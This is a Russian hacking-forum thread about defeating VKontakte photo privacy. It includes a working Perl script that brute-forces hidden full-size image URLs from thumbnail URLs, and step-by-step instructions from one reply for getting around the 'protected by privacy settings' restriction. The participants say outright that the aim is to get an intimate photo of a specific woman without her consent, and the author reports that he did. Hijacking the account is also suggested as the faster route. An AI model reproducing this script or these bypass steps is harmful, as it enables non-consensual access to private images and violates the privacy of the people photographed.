Идея заключается в следующем: [в]контакте существуют альбомы с фотографиями, и ксожалению, зачастую полноразмерные картинки скрыты (чаще всего по инициативе пользователя). Альбомы выглядят вот так: http://vkontakte.ru/album1_63553226 Тамбы имеют адрес вида: http://cs117.vkontakte.ru/u00001/63553226/m_18b46833.jpg Тогда как полное изображение: http://cs117.vkontakte.ru/u00001/63553226/x_fbca3166.jpg Следует заметить, что единственное, что отличает тамб от фулпика - это 8 абсолютно_рандомных символа и наличие x_ вместо m_ перед ними. Сервер и папка с изображением и тамбом всегда одна и таже. Символы - вероятно кусок хэша, или еще какая-нибудь мунга-бунга. При любом раскладе, они у этих файлов разные. Брутфорс осуществляется подбором этих 8 символов двумя способами: 1. По "словарю", что оставлено на случай если можно будет найти закономерность по которым вычисляется комбинация символов. 2. Рандомно, "налету". 8 символов при средней скорости в 50 комбинаций в секунду (проверено из Москвы, стрим), будут брутить одну картинку почти 2 тысячи лет; 2 символа чуть меньше минуты; 3 за 15; ну а на 4 уйдет 8-10 часов; При наличии файла на сервере, скрипт сохранит файл в папку инициализации, под именем вида x_hash1234.jpg Чтобы эта вещь могла принести пользу раньше, чем через тысячу-другую лет, необходимо поднять скорость в 100000 раз (50*100000=5,000,000). Через юрл сделать это не представляется возможным, так что, остается только один путь... Один путь заключается в нахождении зависимости сгенерированного куска хэша от времени загрузки, размера файла, имени файла, или, на худой конец, от мд5 оригинала. Далее, будет создан другой script.pl, который будет генерировать хэшлист, основываясь на известных параметрах изображения. Еще более сумасшедний способ генерирования таких хэшлистов, это создание script.pl с "пауком", который сканировал бы все альбомы вконтакте, и логил бы возможные варианты после x_... на два полных гига целый день уходит... Зато, данный способ может прокатить, если рандом не такой уж и хороший, и комбинации действительно дублируются. x_vkontakte.pl PHP: #!/usr/bin/perl # version: 0.8.4 # author: flatr0ze # e-mail: [email protected] use LWP::Simple; print "\n1. Paste the full path of the image thumbnail:\n] "; chomp($m_path1234 = <STDIN>); $folder = substr $m_path1234, 0, -14; $m_filename = substr $m_path1234, -14; $m_hash1234 = substr $m_filename, 2, -4; print "Parsing thumbnail...\n\n"; print "Image folder: ".$folder."\n"; print "Thumbnail filename: ".$m_filename."\n"; print "Thumbnail hash: ".$m_hash1234."\n\n"; print "2. Enter path to the hashlist, or leave it empty to run hash generator: \n] "; chomp($hashlist = <STDIN>); if ($hashlist) { print "Loading hashlist...\n\n"; open(HASHLIST, $hashlist) || die "Error: Could not open hashlist file.\n"; # $attempts = <number of lines>; // depleted while ($string = <HASHLIST>) { $hash1234 = substr $string, 0, 8; if (length($hash1234) > 7) { $url = $folder."x_".$hash1234.".jpg"; if (head($url)) { print "File ".$url." exists!\n\n"; print "Saving...\n\n"; getstore($url, "x_".$hash1234.".jpg"); } else { print "File ".$url." doesn't exist.\r\r"; } } } close(HASHLIST); print "\n\nFinished!\n\n"; } else { $attempts = 100000000; print "Starting hash generator with ".$attempts." attempts...\n\n"; for ($i = 0; $i <= $attempts; $i++) { $hash1234 = generateHash(); $url = $folder."x_".$hash1234.".jpg"; if (head($url)) { print "[".$i."/".$attempts."] "; print "File ".$url." exists!\n\n"; print "Saving...\n\n"; getstore($url, "x_".$hash1234.".jpg"); } else { print "[".$i."/".$attempts."] "; print "File ".$url." doesn't exist.\r\r"; } } print "\n\nFinished.\n\n"; } sub generateHash { my @chars = ('a'..'z','0'..'9'); my $hash; for (0..7) { $hash .= $chars[int rand @chars]; } return $hash; }
объясняю еще раз... эта вещь работает, и проверена мною лично, так как я же её и написал. единственная проблема - это время:через 2к лет ни компов, ни жпега, ни нас уже не будет. если найти закономерность генерации этих символов, то картинку из вконтакта можно будет достать любую!
Это даже не обсуждается Решение может быть в возможной зависимости х_хэша1234 от м_хэша1234 Тут криптография и сложные числа, я здесь сам не справлюсь.
Интересно только, зачем это всё нужно, если фотографии защищённые настройками приватности можно посмотреть включив "ускоренный режим просмотра фотографий"?
Лично мне - скачать полноразмерную фотку где виден кусок задницы одной клевой тёлы. Вторая мотивация - это конечно же, интерес! Что такое "ускоренный режим просмотра фотографий"?
Хм..написал недавно прогу.. http://forum.antichat.ru/threadnav114377-7-10.html 68й пост..но она качает только открытые альбомы. Нов процессе разбора заметил..что в большинстве случаев.. попадаются пары отличающиеся только Х 2298267/m_f5a50e8e2e.jpg 2298267/x_f5a50e8e2e.jpg Далее...если скрыт альбом..то как узнать у фотки это место http://cs40. онож всевремя разное
Этот вариант работает только для "фотографии со мной" но не для альбомов. ТС молодца, правда имхо проще акк угнать
Прога хорошая, отличная работа! --------------------------------------------- Не исключаю что подобные парные хэши тамбов и пиков могут иметь место, но вот только лично я не встречал их. Возможно, это остаточное явления старого хэширования имен файлов самого [в]контакта, когда подобная защита скрытых картинок была расчитана только на полностью скрытые альбомы, т.е. когда даже имя\сервер тамба не известен. Далее...если альбом полностью скрыт, то сервер не узнать. Но тут встает вопрос: как вообще мы знаем о существовании пикчера ради которого готовы брутить 2000 лет (с), если альбом скрыт и мы даже не знаем что хотим достать? А у тамба и пики - повторюсь, сервера одинаковые, во всяком мне только одинаковые поадались. Возможно, если пикчер переезжает на другой сервак, то временно(хорошо если так), сервера могут быть разными.
Расскажи про метод всеравно, пожалуйста. Возможно, натолкнет\подскажет. Спасибо! Насчет аккаунта - ты прав, это гораздо быстрее 2 тысяч лет (с), ибо брут пароля (даже самого наркоманского), займет меньше времени. Конкретно в моем случае, это фота девочки с которой я вижусь все чаще в последнее время, и лично я стараюсь не терять уверености в том, что я ее... как бы так... что я сбручу ее жопу вреале раньше чем через 9000 лет =) + Я у нее дома был не раз, и мог бы просто с ее вконтакта нажать 3 ссылки и посмотреть эту фоту... но это ведь так низко! Дело опяттаки, в интересе! Сегодня сложно найти реально кого-то кого можно раздевать глазами - все и так голые)) Интернет дает нам возможность ощутить первобытный интерес.
Ещё ни разу не встречал альбомы, где фотки нельзя посмотреть в полном разрешении. У тс вверху у той фотки с тигром адрес большой фотки такой http://vkontakte.ru/photo1_120350036
Эта фотография открыта для всеобщего просмотра. Я НЕ являюсь другом Павда Д. (ох, какое упущение), и дал эту ссылку как пример для данного треда. [В]контакте существуют фотографии с частично ограниченым доступом. Без доступа (будь то "дружелюбность", членство в группе или просто банальная удача) по ссылке http://vkontakte.ru/photo1_120350036 изображение просмотреть было бы невозможно. Я писал брут на перле для получения прямой ссылки, исходя из адреса тамбнейла (маленькая картинка).
flatr0ze, за всё моё время пребывания вконтакте, я ниразу не встречал фотографий в альбомах, которые нельзя бы было посмотреть в полном расширении, зато видел кучу фоток в меню "фотографии со мной" где вместо того чтобы высветить фотку во полный рост, показывается наинеприятнейшая табличка "фотография защищена настройками приватности". Но к счастью это ограничение легко обходится...
Такое там сплошь и рядом - когда, например, ты смотришь фотографию из альбома френда твоего френда, и у того "френдофренда", доступны фотки только френдам. В этом случае ты увидишь лишь тамб, и при нажатии на него ты какраз-таки и получишь неприличную картинку. Ты прав, идея у меня была мотивирована какраз-таки фоткой из "фотографии со мной" со страницы подруги-подруги, следственно я не смог просмортеть ее "вполный рост". Я был бы очень тебе признателен, если бы ты мне показал как это обойти, и мне не пришлось бы брутить 2000 лет 8 символов! А конкретно по теме: интерес превыше всего! Вконтакте существуют ситуации когда дальше тамбнейла нельзя просмотреть фотку - это факт.
Обойти то где есть надпись "фотографии защещены настройками приватности" можно так: -нажать на меню "Включить ускоренный режим просмотра фотографий »" -оно находится внизу за фотками и коментариями к ней -найти фотку которая не защищена настройками приватности -и стрелочками дойти до той фотки которая была защищена настройками приватности
ХА! Я достал задницу которую искал! Хэш был e69931f5, я бы брутил его порядка 20 лет если бы даже и знал что там всего 2 буквы ^^ Спасибо за туториал по багу, hiphop191817! Ты сегодня осчастливил одного хакера как минимум!